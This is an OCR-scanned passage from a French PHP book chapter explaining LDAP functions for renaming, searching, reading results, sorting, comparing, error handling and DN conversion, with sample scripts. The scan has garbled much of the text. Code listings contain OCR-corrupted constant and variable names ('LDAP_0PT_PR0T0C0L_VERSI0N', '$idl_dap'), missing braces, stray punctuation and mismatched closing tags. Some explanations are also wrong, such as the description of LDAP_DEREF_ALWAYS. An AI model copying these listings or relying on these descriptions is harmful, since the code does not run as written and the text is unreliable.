personneO 
personnel 
personne2 
personne3 
personne4 
personne5 
personne6 
personne7 
personne8 
personne9 
le groupe 



dans 
dans 
dans 
dans 
dans 
dans 
dans 
dans 
dans 
dans 



1 'annuaire 
1 'annuaire 
1 'annuaire 
1 'annuaire 
1 'annuaire 
1 'annuaire 
1 'annuaire 
1 'annuaire 
1 'annuaire 
1 'annuaire 
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*cn=personneO,o=test,dc=ldap,dc=tild,dc=com 

*cn=personnel,o=test,dc=ldap,dc=tild,dc=com 

*cn=personne2,o=test,dc=ldap,dc=tild,dc=com 

*cn=personne3,o=test,dc=ldap,dc=tild,dc=com 

*cn=personne4,o=test,dc=ldap,dc=tild,dc=com 

*cn=personne5,o=test,dc=ldap,dc=tild,dc=com 

*cn=personne6,o=test,dc=ldap,dc=tild,dc=com 

*cn=personne7,o=test,dc=ldap,dc=tild,dc=com 

*cn=personne8,o=test,dc=ldap,dc=tild,dc=com 

*cn=personne9,o=test,dc=ldap,dc=tild,dc=com 

Suppression de 1 'entree recursivement 

L 1 entree a ete supprimee ! 

II n'y a aucune entree dn=o=test 

Renommer une entree 

Pour renommer, copier ou deplacer une entree, nous utiliserons la fonction ldap_rename ( ) . 



ldap_rename() 
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Renomme, copie ou deplace une entree dans l'arbre LDAP. 

Syntaxe boolean ldap_rename(int $idLdap, string $dn, string 

$nouveauRdn, string $nouvel leBaseDn, boolean $supprimer) 

$i dLdap Identifiant sur la connexion au serveur LDAP tel qu'il est retourne par la 

fonction ldap_connect ( ) . 

$dn Le DN (Distinguished Name) de l'entree a supprimer. 

$nouveauRdn Nouveau RDN (Relative Distinguished Name) de l'entree. 

$nouvel 1 eBaseDn Nouvelle base DN parente pour l'entree. 

$supprimer Indique s'il faut conserver l'ancienne entree ou non. 

retour TRUE si l'entree a bien ete deplacee, FALSE dans le cas contraire. 

La version du protocole v2 ne supporte pas cette fonction de PHP. II faut necessairement 
indiquer que nous utilisons la version 3 de LDAP pour utiliser idap_rename ( ) . Pour cela, 
utilisez l'instruction ldap_set_option ( ) decrite plus loin. 

Listing 11.4 : Idaprename.php 

<?php 

$idLdap = ldap_connect("localhost",389) ; 

// On passe en protocole v3 seul capable de supporter la copie 
ldap_set_option($idLdap, LDAP_0PT_PR0T0C0L_VERSI0N, 3); 

// N'oubliez pas de modifier ces parametres selon 
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// votre configuration 

$rootDn = 'cn=root, dc=tild'; 

$rootPasse = 'coucou'; 

if (!ldap_bind($idLdap, $rootDn, $rootPasse)) { 
die("La connexion n'a pas ete effectuee."); 

} 

// DN de 1 'entree a copier 

$dn = 'o=test,ou=test,dc=tild' ; 

// nouveau DN 

$rdn = 'o=test2' ; 

// nouvelle base 

$baseDn = ' ou=test ,dc=ti 1 d ' ; 

// On deplace 1 'entree. 

$resultat = ldap_rename($idLdap, $dn, $rdn, $baseDn, TRUE); 

if ($resultat) 

{ 

echo "L'entree a ete copiee !<br />"; 
} else { 

echo "L'entree n'a pas ete copiee !<br />"; 

// Affichage de l'erreur 

echo ldap_error($idLdap) ; 
} 

// Deconnexion de l'annuaire 

ldap_close($idl_dap) ; 

?> 



Recherche dans un annuaire LDAP 

La recherche dans un annuaire s'effectue en deux etapes : 

Lancement de la recherche ; 
Recuperation des resultats. 

Lancement d'une recherche dans un annuaire 

La recherche dans un annuaire LDAP peut etre effectuee de plusieurs facons : 

Rechercher une correspondance sur un niveau ; 
Rechercher une correspondance sur plusieurs niveaux ; 
Rechercher une correspondance sur une entree specifique. 

Recherche dans un annuaire sur un niveau 

La recherche sur un niveau s'effectue par l'appel a l'instruction idap_list ( ) . 
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ldap_list() 

Recherche a l'aide d'un filtre les entrees sur un niveau. 

Syntaxe resource ldap_list (resource $idLdap, string $baseDn, string 

$filtre [, array $attributs [, int $attributsSeul [, int 
$nbLimit [, int $tempsExecution [, int $alias]]]]]) 

$i dLdap Identifiant sur la connexion au serveur LDAP tel qu'il est retourne par la 

fonction ldap_connect ( ) . 

$baseDn Le DN (Distinguished Name) indiquant la base de votre recherche. 

$f i 1 tre Filtre LDAP permettant de recuperer les informations demandees. 

$attri buts Parametre optionnel permettant de ne recevoir que les attributs desires. 

$attri butsSeul Parametre indiquant de ne retourner que les noms des attributs sans leurs 

valeurs. (valeur par defaut) indique de recuperer les valeurs et les 
attributs, 1 indique que seuls les attributs sont retournes. 

$nbLi mi t Indique le nombre de resultats a recuperer. Par defaut, la valeur est fixee a 

0, ainsi tous les resultats de la recherche sont renvoyes. 

$tempsExecution Indique la duree maximale d'une recherche en secondes. Par defaut, la 
valeur est fixee a 0, c'est-a-dire qu'il n'y a pas de limite sinon celle fixee par 
le serveur LDAP. 

$alias Parametre indiquant comment les alias des attributs doivent etre 

considered. Utilisez l'une des constantes suivantes : 
LDAP_DEREF_NEVER (valeur par defaut), indique que les alias ne 
peuvent etre utilises pour effectuer la recherche. 

LDAP_DEREF_SEARCHING, indique que les alias ne peuvent pas etre 
utilises pour la recherche, mais que, lors du renvoi des resultats, ceux-ci 
sont utilises. 

LDAP_DEREF_FINDING, indique que les alias sont utilises pour la 
recherche, mais que le resultat ne les prend pas en compte. 
LDAP_DEREF_ALWAYS, indique que les alias ne sont jamais pris en 
compte, ni pour la recherche ni pour le resultat. 

retour Pointeur sur le resultat de la recherche. 

Recherche dans un annuaire sur plusieurs niveaux 

Pour effectuer une recherche sur plusieurs niveaux, nous utiliserons la fonction 

ldap_search ( ) . 



ldap_search() 



Recherche a l'aide d'un filtre les entrees sur plusieurs niveaux d'un annuaire LDAP. La 
recherche est effectuee sur le DN de la base, puis sur toutes les branches au-dessus. 
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Syntaxe resource ldap_search (resource $idLdap, string $baseDn, string 

$filtre [, array $attributs [, int $attributsSeul [, int 
$nbLimit [, int $tempsExecution [, int $alias]]]]]) 

$i dLdap Identifiant sur la connexion au serveur LDAP tel qu'il est retourne par la 

fonction ldap_connect ( ) . 

$baseDn Le DN (Distinguished Name) indiquant le premier niveau ou commencer 

votre recherche. 

$f i 1 tre Filtre LDAP permettant de recuperer les informations demandees. 

$attri buts Parametre optionnel permettant de ne recevoir que les attributs desires. 

$attri butsSeul Parametre indiquant de ne retourner que les noms des attributs sans leurs 

valeurs. (valeur par defaut) indique de recuperer les valeurs et les 
attributs, 1 indique que seuls les attributs sont retournes. 

$nbLi mi t Indique le nombre de resultats a recuperer. Par defaut, la taille est fixee a 

0, ainsi tous les resultats de la recherche sont renvoyes. 

$tempsExecution Indique la duree maximale d'une recherche en secondes. Par defaut, la 
valeur est fixee a 0, c'est-a-dire qu'il n'y a pas de limite sinon celle fixee par 
le serveur LDAP. 

$al i as Parametre indiquant comment les alias des attributs doivent etre 

considered. Utilisez 1'une des constantes suivantes : 
LDAP_DEREF_NEVER (valeur par defaut), indique que les alias ne 
peuvent etre utilises pour effectuer la recherche. 

LDAP_DEREF_SEARCHING, indique que les alias ne peuvent pas etre 
utilises pour la recherche, mais que, lors du renvoi des resultats, ceux-ci 
sont utilises. 

LDAP_DEREF_FINDING, indique que les alias sont utilises pour la 
recherche, mais que le resultat ne les prend pas en compte. 
LDAP_DEREF_ALWAYS, indique que les alias ne sont jamais pris en 
compte, ni pour la recherche ni pour le resultat. 

retour Pointeur sur le resultat de la recherche. 

Recherche dans une entree 

Pour effectuer votre recherche sur une entree et uniquement sur celle-ci, vous devez utiliser la 
fonction ldap_read ( ) . 



ldap_read() 



Recherche a l'aide d'un filtre sur une entree specifique. La recherche est effectuee sur le DN 
specifie en parametre. 

Syntaxe resource ldap_read (resource $idLdap, string $baseDn, string 

$filtre [, array $attributs [, int $attributsSeul [, int 
$nbLimit [, int $tempsExecution [, int $al ias]]]]] ) 
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$ i d Ldap Identifiant sur la connexion au serveur LDAP tel qu'il est retourne par la 

fonction ldap_connect ( ) . 

$baseDn Le DN (Distinguished Name) indiquant l'entree ou vous voulez effectuer 

votre recherche. 

$f i 1 tre Filtre LDAP permettant de recuperer les informations demandees. 

$attri buts Parametre optionnel permettant de ne recevoir que les attributs desires. 

$attri butsSeul Parametre indiquant de ne retourner que les noms des attributs sans leurs 

valeurs. (valeur par defaut) indique de recuperer les valeurs et les 
attributs, 1 indique que seuls les attributs sont retournes. 

$nbLi mi t Indique le nombre de resultats a recuperer. Par defaut, la taille est fixee a 

0, ainsi tous les resultats de la recherche sont renvoyes. 

$tempsExecution Indique la duree maximale d'une recherche en secondes. Par defaut la 
valeur est fixee a 0, c'est-a-dire qu'il n'y a pas de limite sinon celle fixee par 
le serveur LDAP. 

$alias Parametre indiquant comment les alias des attributs doivent etre 

considered. Utilisez l'une des constantes suivantes : 
LDAP_DEREF_NEVER (valeur par defaut), indique que les alias ne 
peuvent etre utilises pour effectuer la recherche. 

LDAP_DEREF_SEARCHING, indique que les alias ne peuvent pas etre 
utilises pour la recherche, mais que, lors du renvoi des resultats, ceux-ci 
sont utilises. 

LDAP_DEREF_FINDING, indique que les alias sont utilises pour la 
recherche, mais que le resultat ne les prend pas en compte. 
LDAP_DEREF_ALWAYS, indique que les alias ne sont jamais pris en 
compte, ni pour la recherche ni pour le resultat. 

retour Pointeur sur le resultat de la recherche. 

Exemple de recherche 

Cet exemple va vous montrer les differences existant entre ces trois fonctions : 

Listing 11.5 : recherche.php 

<html> 
<body> 

<?php 

// Connexion a l 1 annual re 

$idLdap = ldap_connect("localhost",389) ; 

if (!ldap_bind($idLdap)){ 

die("La connexion n'a pas ete effectuee.") ; 



echo "Recherche avec ldap_list()<br />"; 

$recherche = ldap_l ist($idl_dap, "dc=kangouroo,dc=homelinux,dc=org" 

"objectclass=*") ; 
$resultat = ldap_get_entries($idl_dap, $recherche) ; 
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echo "II y a ".$resultat["count"] ." resultats<br />"; 
for ($i=0; $i<$resultat["count"] ; $i++) 

{ 

echo $resultat[$i] [ ' dn '] ."<br />"; 



echo "<br />"; 

echo "Recherche avec ldap_search()<br />"; 

$recherche = ldap_search($idLdap, "dc=kangouroo,dc=homelinux,dc=org", 

"objectclass=*") ; 
$resultat = ldap_get_entries($idLdap, $recherche) ; 

echo "II y a ".$resultat["count"] ." resultats<br />"; 
for ($i=0; $i<$resul tat["count"] ; $i++) 

{ 

echo $resultat[$i] ['dn'] ."<br />"; 

} 

echo "<br />"; 

echo "Recherche avec ldap_read()<br />"; 

$recherche = ldap_read($idLdap, "dc=kangouroo,dc=homelinux,dc=org", 

"objectclass=*") ; 
$resultat = ldap_get_entries($idLdap, $recherche) ; 

echo "II y a ".$resultat["count"] ." resultats<br />"; 

for ($i=0; $i<$resul tat["count"] ; $i++) 

{ 

echo $resultat[$i] ['dn'] ."<br />"; 

} 

ldap_close($idLdap) ; 

?> 

</body> 

</table> 

Vous devez retrouver plus de resultats avec la fonction ldap_search ( ) , car celle-ci va scanner 
les entrees fils. La fonction ldap_list ( ) , quant a elle, ne vous retournera que les reponses qui 
se trouvent directement en dessous de 1'entree que vous avez specifiee. ldap_read ( ) ne vous 
retournera qu'un seul resultat. 

Recuperer les resultats d'une recherche 

Apres avoir effectue votre recherche, il faut recuperer les resultats. La encore, plusieurs 
fonctions sont mises a votre disposition. Vous pouvez, a l'aide de celles-ci, recuperer les 
resultats de plusieurs fagons : 

Recuperer les resultats en une fois ; 
Recuperer les resultats un a un. 
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Recuperer les resultats en une fois 



Pour recuperer les resultats d'une recherche, vous pouvez utiliser Pinstruction 

ldap_get_entries ( ) . 



ldap_get_entries() 

Retourne un tableau contenant tous les elements, attributs et valeurs pour une recherche. 

Syntaxe array ldap_get_entries (resource $idLdap, resource $idResul tat) 

$ i d Ldap Identifiant sur la connexion au serveur LDAP tel qu'il est retourne par la 

fonction ldap_connect ( ) . 

$idResultat Identifiant sur le resultat de la recherche tel qu'il est retourne par les 

fonctions ldap_search ( ) , ldap_list ( ) ou ldap_read ( ) . 

retour Tableau contenant tous les resultats de la recherche. 

Le tableau resultant de l'execution de l'instruction ldap_get_attributes ( ) se presente 
comme ceci : 

<?php 

$resultat[0] // est le premier elements 
$resultat[n] // est 1 'element n de votre recherche 
$resul tat ["count"] // indique le nombre d 1 elements 
// retournes par votre recherche 
$resultat[0] [dn] // indique le DN de 1 'elements 
$resultat[n] ["count"] // Nombre d'attributs pour 1 'element n 
$resultat[n] [0] // Norn de l'attribut 
$resultat[n] [n] // Norn de l'attribut n 
$resultat[n] [attribut] // Tableau contenant les valeurs 

// de l'attribut designe 
$resul tat [n] [attribut] [0] // Valeur de l'attribut 
$resul tat [n] [attribut] [n] // Valeur n de l'attribut 
$resultat[n] [attribut] ["count"] // Nombre de valeurs pour l'attribut 



Executez le script suivant en l'adaptant a votre annuaire LDAP pour recuperer lisiblement sur 
l'ecran les donnees du tableau : 

<?php 

// Effectuez ici votre connexion a 1 'annuaire 

// Recherche avec le filtre objectclass=person 

$recherche = ldap_l ist($idLdap, "dc=domaine,dc=com", "objectclass=person") ; 

$resultat = ldap_get_entries($idl_dap, $recherche); 

print_r($resultat) ; 

// Fermez votre connexion a 1' annuaire 
?> 
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Voici maintenant un exemple de connexion a un annuaire LDAP et d'affichage des resultats. 
Ici, nous recuperons les donnees provenant d'un serveur ILS, qui est un annuaire d'utilisateurs 
de Netmeeting (logiciel de visioconference), et nous affichons le resultat dans un tableau. 

Listing 11.6 : netmeeting.php 

<html> 

<head> 

<title>Recherche dans un annuaire netmeeting</title> 

</head> 
<body> 

<?php 

// Connexion a 1 'annuaire 

$idLdap = ldap_connect("ils. advalvas.be", 389); 

if (!ldap_bind($idLdap)){ 

die("La connexion n'a pas ete effectuee.") ; 



$recherche = ldap_list($idLdap, "objectclass=rtperson", 

"(&(cn=%) (objectclass=rt person))") ; 
$resultat = ldap_get_entries($idLdap, $recherche) ; 
?> 

<table border="0" width="100%"> 
<tr> 

<td colspan="5"> 

II y a <?php echo $resul tat["count"] ;?> resultats 
</td> 
</tr> 
<tr> 

<td colspan="5"> 

<hr /> 
</td> 
</tr> 
<tr> 
<td> 

Norn 
</td> 
<td> 

Prenom 
</td> 
<td> 

vil le 
</td> 
<td> 

mail 
</td> 
<td> 

Commentaire 
</td> 
</tr> 
<?php 
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for ($i=0; $i<$resul tatf'count"] ; $i++) 

{ 



echo 
echo 
echo 
echo 
echo 
echo 
echo 

} 

?> 

</table> 



'<tr>"; 

<td>".$resultat[$i] ['en'] [0] ."</td>"; 

<td>".$resultat[$i] ['surname'] [0] ."</td>"; 

<td>".$resultat[$i] ['location'] [0] ."</td>"; 

<td>".$resultat[$i] ['rfc822mailbox'] [0] . "</td>"; 

<td>".$resultat[$i] ['comment'] [0] ."</td>"; 
'</tr>"; 



ldap_close($idLdap) ; 

?> 

</body> 

</table> 



REMARQUE 



L 'ILS n 'est pas un annuaire LDAP 

Les serveurs d'annuaires de visioconferences ne sont pas des annuaires LDAP. 
Cewc-ci possedent un schema particulier permettant au logicielde visioconference de 
s'enregistrer dessus et d'effectuer, toutes les x secondes, des connexions maintenant 
I 'entree dans I 'annuaire. Dans le cas contraire, celle-ci est supprimee. L'interrogation 
utilise le protocole LDAP, ce qui nous permet d'utiliser PHP pour interroger le 
serveur. 

Vous pouvez, a I'aide d'OpenLDAP, vous construire un annuaire LDAP. Le "howto" 
(en anglais) que vous trouverez sur la page http:llwww.freesoft.org/softwarelNetMeeting/ 
vous explique comment modifier V annuaire afin qu'il supporte le protocole tres par- 
ticulier de Netmeeting. 
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Recuperer les resultats un a un 

L'affichage de la recherche element par element est compose de plusieurs etapes : 

Creation d'un pointeur sur le premier element de notre recherche ; 
Recuperation des donnees de cet element ; 
Deplacement du pointeur sur l'element suivant. 

Retourner un identifiant sur le premier element 

Pour recuperer l'identifiant du premier element de notre recherche, nous utilisons la fonction 

ldap_f irst_entry ( ) . 
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ldap_first_entry() 

Retourne un pointeur sur le premier element resultant de notre recherche. 

Syntaxe resource ldap_first_entry (resource $idLdap, resource 

$idResultat) 

$i dLdap Identifiant sur la connexion au serveur LDAP tel qu'il est retourne par la 

fonction ldap_connect ( ) . 

$idResu!tat Identifiant sur le resultat de la recherche tel qu'il est retourne par les 

fonctions ldap_search ( ) , ldap_list ( ) ou ldap_read ( ) . 

retour Identifiant sur le premier element de la recherche. Retourne FALSE en cas 

d'erreur ou lorsque la recherche n'a retourne aucun resultat. 

Recuperation des donnees d'un element 

La recuperation des resultats d'un element se fait par l'appel a la fonction 

ldap_get_attributes ( ) . 



ldap_get_attributes () 

Retourne les attributs et leurs valeurs composant l'element. 

Syntaxe array ldap_get_attributes (resource 1 ink_identifier, resource 

$idEntree) 

$i dLdap Identifiant sur la connexion au serveur LDAP tel qu'il est retourne par la 

fonction ldap_connect ( ) . 

$idEntree Identifiant sur l'element tel qu'il est retourne par l'instruction 

ldap_f irst_entry ( ) ou ldap_next_entry ( ) . 

retour Tableau contenant les differents attributs et les valeurs composant 

l'element. 

Deplacer le pointeur sur l'element suivant 

Le pointeur est deplace sur l'element suivant par l'utilisation de l'instruction 

ldap_next_entry ( ) . 



ldap_next_entry() 

Deplace le pointeur sur l'element suivant de la recherche. 

Syntaxe resource ldap_next_entry (resource $idLdap, resource $idEntree) 
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$ i d Ldap Identifiant sur la connexion au serveur LDAP tel qu'il est retourne par la 

fonction ldap_connect ( ) . 

$idEntree Identifiant sur 1'element tel qu'il est retourne par l'instruction 

ldap_f irst_entry ( ) ou ldap_next_entry ( ) . 

retour Identifiant sur 1'element suivant de la recherche, ou FALSE en cas d'erreur 

ou lorsque la recherche ne trouve plus aucun resultat. 

Exemple de recherche 

Listing 11.7 : Idapgetattributes.php 

<html> 
<body> 

<?php 

// Connexion a l 1 annual re 

$idLdap = ldap_connect("localhost",389) ; 

// Authentification sur l'annuaire 

if (!ldap_bind($idLdap)){ 

die("La connexion n'a pas ete effectuee.") ; 
} 

// Recherche avec le filtre objectclass=person 

$recherche = ldap_l ist($idLdap, "dc=domaine,dc=com", "objectclass=person") ; 

// On recupere la premiere entree 

$entree = ldap_first_entry($idLdap, $recherche); 

// Tant qu'il y a des reponses on recupere les differents attributs 
while($entree) { 

$resultat = ldap_get_attributes($idLdap, $entree) ; 

// Boucle suivant le nombre d'attributs trouves 

// dans la recherche 

for($i=0; $i<$resultat['count'] ; $i++ ){ 

// Affichage de 1 ' attri but 

echo "$resultat[$i]="; 

// Affichage du resultat, la boucle est utile si l'attribut 

// possede de multiples valeurs 

for( $j=0; $j<$resultat[$resultat[$i]] ['count'] ;$j++) 

{ 

echo $resultat[$resultat[$i]] [$j] ." "; 

} 
} 
echo "<hr />"; 

// On passe a l'attribut suivant 

$entree = ldap next entry($idLdap, $entree); 
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// Fermeture de la connexion avec l'annuaire 

ldap_close($idLdap) ; 

?> 

</body> 

</table> 

Autre methode 
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Nous pouvons egalement recuperer les attributs les uns apres les autres pour chaque element 
retourne par notre recherche. Pour cela, apres avoir recupere le premier element, nous faisons 
appel a l'instruction ldap_f irst_attribute ( ) . 



ldap_first_attribute () 

Recupere le nom du premier attribut d'un element. 

Syntaxe string ldap_first_attribute(resource $idLdap, resource 

$idEntree, resource &$idAttribut) 

$i dLdap Identifiant sur la connexion au serveur LDAP tel qu'il est retourne par la 

fonction ldap_connect ( ) . 

$idEntree Identifiant sur l'element tel qu'il est retourne par l'instruction 

ldap_f irst_entry ( ) ou ldap_next_entry ( ) . 

$idAttribut Identifiant passe par reference. Utilise par la suite par 

ldap_next_attribute ( ) . 

retour Nom du premier attribut de l'element, ou FALSE en cas d'erreur. 

Pour recuperer les differents attributs suivants, il faut utiliser l'instruction 

ldap_next_attribute ( ) . 



ldap_next_attribute () 



Recupere les noms des differents attributs d'un element. 

Syntaxe string ldap_next_attribute (resource $idLdap, resource 

$idEntree, resource &$idAttribut) 

$i dLdap Identifiant sur la connexion au serveur LDAP tel qu'il est retourne par la 

fonction ldap_connect ( ) . 

$idEntree Identifiant sur l'element tel qu'il est retourne par l'instruction 

ldap_f irst_entry ( ) ou ldap_next_entry ( ) . 

$i dAttri but Identifiant passe par reference. Chacun des appels a cette instruction fait 

avancer ce pointeur sur l'attribut suivant. 

retour Nom du premier attribut de l'element, ou FALSE en cas d'erreur. 
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Nous pouvons ensuite recuperer les differentes valeurs de l'attribut en appelant les fonctions 

ldap_get_values ( ) OU ldap_get_values_len ( ) . 

La fonction ldap_get_vaiues ( ) recupere les differentes valeurs de l'attribut specifie. 



ldap_get_values() 

Retourne la ou les valeurs de l'attribut dans un tableau. 

Syntaxe array ldap_get_values (resource $idLdap, resource $idEntree, 

string $attribut) 

$i dLdap Identifiant sur la connexion au serveur LDAP tel qu'il est retourne par la 

fonction ldap_connect ( ) . 

$idEntree Identifiant sur l'element tel qu'il est retourne par l'instruction 

ldap_f irst_entry ( ) ou ldap_next_entry ( ) . 

$attribut Nom de l'attribut. 

retour Tableau contenant les differentes valeurs. 

Le tableau resultant de l'execution de l'instruction ldap_get_vaiues ( ) se presente comme 
ceci : 

<?php 

$resultat[0] // premiere valeur de l'attribut 

$resultat[n] // valeur n de l'attribut 

$resul tat["count"] // indique le nombre de valeur de l'attribut 

?> 

Voici un exemple complet qui permet de comprendre comment recuperer les elements, les 
attributs et chacune des valeurs correspondantes. 

<html> 
<body> 

<?php 

// Connexion a l'annuaire 

$idLdap = ldap_connect("localhost",389) ; 

// Authentication sur l'annuaire 

if (!ldap_bind ($i dLdap)) { 

die("La connexion n'a pas ete effectuee.") ; 



// Recherche avec le filtre objectclass=person 

$recherche = ldap_l ist($idLdap, "dc=domaine,dc=cotn", "objectclass=person") ; 

// On recupere la premiere entree 

$entree = ldap_first_entry($idl_dap, $recherche); 

// Tant qu'il y a des reponses on recupere les differents attributs 
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while($entree) { 

// On recupere le premier attribut 

$attribut = ldap_first_attribute($idLdap, $entree, $idReference) ; 

// Affichage du resultat, la boucle est utile si 1 'attribut 

// possede de multiples valeurs 

while($attribut){ 

// Affichage du nom de 1 'attribut 

echo $attribut. "($idReference)="; 

// Recuperation des valeurs de 1 'attribut 

$valeurs = ldap_get_values($idLdap, $entree, $attribut); 

for($i=0; $i<$valeurs["count"] ; $i++) 

{ 

// Affichage des differentes valeurs 
echo $valeurs[$i] . "($idReference)<br />"; 

} 

$attribut = ldap_next_attribute($idLdap, $entree, $idReference) : 

} 

echo "<hr />"; 

// On passe a 1 'attribut suivant 

$entree = ldap_next_entry($idl_dap, $entree) ; 



// Fermeture de la connexion avec l'annuaire 

ldap_close($idLdap) ; 

?> 

</body> 

</table> 

La fonction ldap_get_vaiues ( ) ne permet pas de recuperer les valeurs des attributs binaires. 
Pour cela, vous devez utiliser l'instruction ldap_get_vaiues_ien ( ) . Cette fonction retourne 
tous les elements, ainsi que les elements binaires. 



ldap_get_values_len () 



Recupere la ou les valeurs des attributs binaires. 

Syntaxe array ldap_get_val ues_l en (resource $idLdap, resource 

$idEntree, string $attribut) 

$i dLdap Identifiant sur la connexion au serveur LDAP tel qu'il est retourne par la 

fonction ldap_connect ( ) . 

$idEntree Identifiant sur 1'element tel qu'il est retourne par l'instruction 

ldap_f irst_entry ( ) ou ld.ap_next_en.try ( ) . 

$attribut Nom de 1'attribut. 

retour Tableau contenant les differentes valeurs. 
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L'utilisation de l'instruction ldap_get_values_ien( ) est identique a celle de l'instruction 

ldap_get_values ( ) . 

Ordonner les reponses 

Vous pouvez ordonner les reponses en utilisant la fonction idap_sort ( ) . 



ldap_sort() 

Ordonne les resultats dans 1'ordre alphabetique. 

Syntaxe boolean ldap_sort (resource $idLdap, resource $idResultat, 

string $filtre) 

$i dLdap Identifiant sur la connexion au serveur LDAP tel qu'il est retourne par la 

fonction ldap_connect ( ) . 

$idResu! tat Identifiant sur le resultat de la recherche tel qu'il est retourne par les 

fonctions ldap_search ( ) et ldap_list ( ) . 

$f i 1 tre Indique quel est l'attribut qui permet d'ordonner les resultats. 

retour TRUE si les resultats ont bien ete ordonnes, FALSE dans le cas contraire. 

Prenez bien garde a ordonner vos resultats avant de faire appel a la fonction 
ldap_get_entries ( ) , car la fonction n'aurait alors aucun effet. 



Compter les resultats d'une recherche 



II existe deux facons de determiner le nombre d'enregistrements retournes par une recherche 
dans l'annuaire. 

Si vous avez effectue une recherche et recupere les resultats a l'aide de la fonction 
ldap_get_entries (), vous pouvez simplement retrouver le nombre d'entrees depuis le 
tableau qui vous est retourne de la facon suivante : $tableau [ " count " ] . 

<?php 

$recherche = ldap_list($idLdap,"dc=domaine,dc=com ","objectclass=person") ; 

$resultat = ldap_get_entries($idl_dap, $recherche) ; 

// Affichage du nombre d'entrees 

echo "II y a " .$resultat["count"] ." entrees pour votre recherche !"; 

?> 

Si vous avez utilise l'instruction ldap_get_attributes ( ) , alors vous ne pouvez retrouver le 
nombre d'elements retournes par votre recherche depuis le tableau de resultat (mais seulement 
le nombre d'attributs). Dans ce cas, vous pouvez utiliser la fonction : 
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ldap_count_entries () 

Retourne le nombre de resultats d'une recherche. 

Syntaxe int ldap_count_entries (resource $idLdap, resource $idResultat) 

$i dLdap Identifiant sur la connexion au serveur LDAP tel qu'il est retourne par la 

fonction ldap_connect ( ) . 

$idResultat Identifiant sur le resultat de la recherche tel qu'il est retourne par les 

fonctions ldap_search ( ) , ldap_list ( ) ou ldap_read ( ) . 

retour Entier indiquant le nombre de resultats de la recherche, ou FALSE en cas 

d'erreur. 

Comparer un attribut avec une valeur 

Plus rapide que d'effectuer une recherche, vous pouvez simplement comparer la valeur d'un 
attribut avec une donnee. Cela vous permet, par exemple, de verifier un mot de passe dans 
l'annuaire. On utilise, pour cela, l'instruction idap_compare ( ) . 



ldap_compare() 



Compare la valeur d'un attribut avec une chaine passee en parametre. A noter que l'instruction 
est insensible a la casse des caracteres. 

Syntaxe boolean 1 dap_compare (resource $idLdap, string $dn, string 

$attribut, string $valeur) 

$i dLdap Identifiant sur la connexion au serveur LDAP tel qu'il est retourne par la 

fonction ldap_connect ( ) . 

$ d n DN de l'entree a verifier. 

$attri but Attribut qui contient la chaine a comparer. 

$val eur Chaine de caracteres a comparer avec $attribut. 

retour TRUE si les valeurs sont identiques, FALSE dans le cas contraire. 

Liberer la memoire 

Si vous effectuez des recherches lourdes et successives, vous pouvez avoir des problemes de 
memoire. Par defaut, lorsque vous fermez votre connexion, la memoire est automatiquement 
liberee. Mais, dans le cas ou votre programme effectue des requetes successives, vous serez 
alors amene a liberer la memoire entre chaque transaction. La fonction idap_f ree_resuit ( ) 
libere la memoire en vidant les resultats precedents. 
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ldap_free_result() 

Vide la memoire et efface les resultats obtenus precedemment. 

Syntaxe boolean ldap_free_result (resource $idLdap) 

$ i d Ldap Identifiant sur la connexion au serveur LDAP tel qu'il est retourne par la 

fonction ldap_connect ( ) . 

retour TRUE si la memoire a ete liberee, FALSE dans le cas contraire. 

Gestion des erreurs 

Trois fonctions permettent de retrouver les differents messages d'erreur qui peuvent survenir. 

Ces fonctions SOnt ldap_errno ( ) , ldap_error ( ) OU ldap_err2str ( ) . 



ldap_errno() 
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Recupere le numero de la derniere erreur rencontree par LDAP. 

Syntaxe int ldap_errno (resource $idLdap) 

$ i d Ldap Identifiant sur la connexion au serveur LDAP tel qu'il est retourne par la 

fonction ldap_connect ( ) . 

retour Entier indiquant le numero de l'erreur. indique que l'operation a ete 

effectuee avec succes. 



ldap_error() 

Recupere le message de la derniere erreur rencontree par LDAP. 

Syntaxe string ldap_error (resource $idLdap) 

$ i d Ldap Identifiant sur la connexion au serveur LDAP tel qu'il est retourne par la 

fonction ldap_connect ( ) . 

retour Message d'erreur. 

Vous pouvez retrouver ce message d'erreur depuis le numero retourne par ldap_errno ( ) 
simplement en faisant appel a l'instruction ldap_err2str ( ) . 
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ldap_err2str() 

Retourne le message associe au numero de l'erreur. 

Syntaxe string ldap_err2str(int $numErreur) 

$numErreur Numero de l'erreur. 

retour Message d'erreur. 

Pour consulter les differents messages possibles, lancez le script suivant : 

<?php 
for($i=0;$i<100;$i++) 

{ 

$message = ldap_err2str($i) ; 

echo "$i  :   "; 

echo $message."<br />"; 

} 

?> 

Operation sur le Distinguished Name (DN) 
Recuperer le DN 

Nous avons vu que, lorsque nous effectuons une recherche et que nous recuperons les resultats 
par l'instruction ldap_get_entries ( ) , nous pouvons recuperer le DN simplement depuis le 
tableau retourne : $tabieau[$n] ["dn"]. Si nous recuperons les resultats un a un avec la 
fonction idap_get_attributes ( ), nous devrons avoir recours a l'instruction 

ldap_get_dn ( ) . 



ldap_get_dn() 

Permet de recuperer le DN par rapport a un resultat de l'entree. 

Syntaxe string 1 dap_get_dn (resource $idLdap, resource $idEntree) 

$i dLdap Identifiant sur la connexion au serveur LDAP tel qu'il est retourne par la 

fonction ldap_connect ( ) . 

$idResultat Identifiant sur l'entree tel qu'il est retourne par les fonctions 

ldap_f irst_entry ( ) . 

retour LeDN (Distinguished Name). 
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Conversion de format 

Une fonction particuliere permet de convertir le DN dans un format plus convivial, l'UFN 
(User Friendly Naming). Ce format enleve les noms des RDN (Relative Distinguished Name) 
du DN, et ne retourne que leurs valeurs separees par des virgules. 



Idap_dn2ufn() 



Nettoie le DN des noms des RDN qui le composent. 

Syntaxe string ldap_dn2ufn (string $dn) 

$ d n DN a convertir. 

retour Chaine de caracteres contenant le DN sans les noms des RDN. 

<?php 

$dn = "cn=Laurent GUEDON,ou=developpement, o=tild, c=france"; 

echo ldap_dn2ufn($dn) ; 

?> 

Laurent GUEDON,developpement, tild, france 
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Recuperer les composantes du DN 



La fonction ldap_explode_dn( ) permet de recuperer les differentes valeurs des RDN 
(Relative Distinguished Name) du DN, accompagne ou non de l'identifiant de ces RDN. 



ldap_explode_dn () 

Retourne un tableau contenant les differentes composantes du DN. 

Syntaxe array ldap_explode_dn (string $dn, int $sansRdn) 

$ d n DN a convertir. 

SsansRdn Indique de retourner uniquement les valeurs des RDN sans leurs 

identifiants. 

retour Tableau contenant le DN ainsi decoupe. 

<?php 

$dn = "cn=Laurent GUEDON,ou=developpement, o=tild, c=france"; 

